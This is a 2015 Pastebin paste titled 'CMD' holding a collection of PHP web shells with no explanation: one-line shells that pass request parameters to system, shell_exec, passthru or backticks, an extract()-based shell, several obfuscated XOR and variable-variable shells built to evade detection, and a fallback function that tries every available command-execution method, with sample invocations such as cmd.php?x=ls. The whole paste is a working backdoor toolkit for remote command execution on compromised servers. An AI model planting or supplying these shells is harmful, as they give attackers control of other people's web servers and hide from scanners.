Saint92

CMD

Sep 20th, 2015
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.02 KB | None | 0 0
  1. cmd.php?x=ls
  2. <?php system($_GET['x']); ?>
  3.  
  4. <?php print_r(shell_exec($_GET['x'])); ?>
  5.  
  6. <?php passthru($_GET['x']); ?>
  7.  
  8.    <?php
  9. echo"<form method=post><input type=text name=cmd value=ls><input type=submit name=sub value=ex></form>";
  10. if(isset($_POST[sub])){
  11. $output=`$_POST[cmd]`;
  12. echo "<pre>$output</pre>";
  13. }
  14. ?>    
  15.  
  16.  
  17. <?php
  18. //ctime=system&atime=ls
  19. @extract($_REQUEST);
  20. @die($ctime($atime));
  21.  
  22.  
  23.  
  24. cmd.php?_=system&__=ls
  25.   <?
  26. @$_[]=@!_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[(($__)($__))].=$_;$_[]=$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__$__)$_[$__-$__]).($__$__$__)$_[$__-$__];$_[$__ $__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]);$_[$__$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
  27. $_[$__ $__].=($_[$__][$__$__])^$_[$__][($__<<$__)-$__];
  28. $_=$ $_[$__$__];
  29. $_[@-_]($_[@!_]);
  30. ?>  
  31.  
  32.  <?php
  33. $_="{";
  34. $_=($_^"<").($_^">;").($_^"/");
  35. ?>
  36. <?=${'_'.$_}["_"](${'_'.$_}["__"]);?>
  37.  
  38. cmd.php?0=passthru&1=ls
  39.  <?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>
  40.  
  41.  
  42. <?php
  43. function Execute($in) {
  44.     $out = '';
  45.     if (function_exists('system')) {
  46.         @system($in,$out);
  47.         $out = @join("\n",$out);
  48.     } elseif (function_exists('passthru')) {
  49.         ob_start();
  50.         @passthru($in);
  51.         $out = ob_get_clean();
  52.     } elseif (function_exists('exec')) {
  53.         ob_start();
  54.         @exec($in);
  55.         $out = ob_get_clean();
  56.     } elseif (function_exists('shell_exec')) {
  57.         $out = shell_exec($in);
  58.     } elseif (is_resource($f = @popen($in,"r"))) {
  59.         $out = "";
  60.         while(!@feof($f))
  61.             $out .= fread($f,1024);
  62.         pclose($f);
  63.     }
  64.     return $out;
  65. }
  66. echo"<pre>";
  67. Execute($_REQUEST['x']);
Advertisement
Add Comment
Please, Sign In to add comment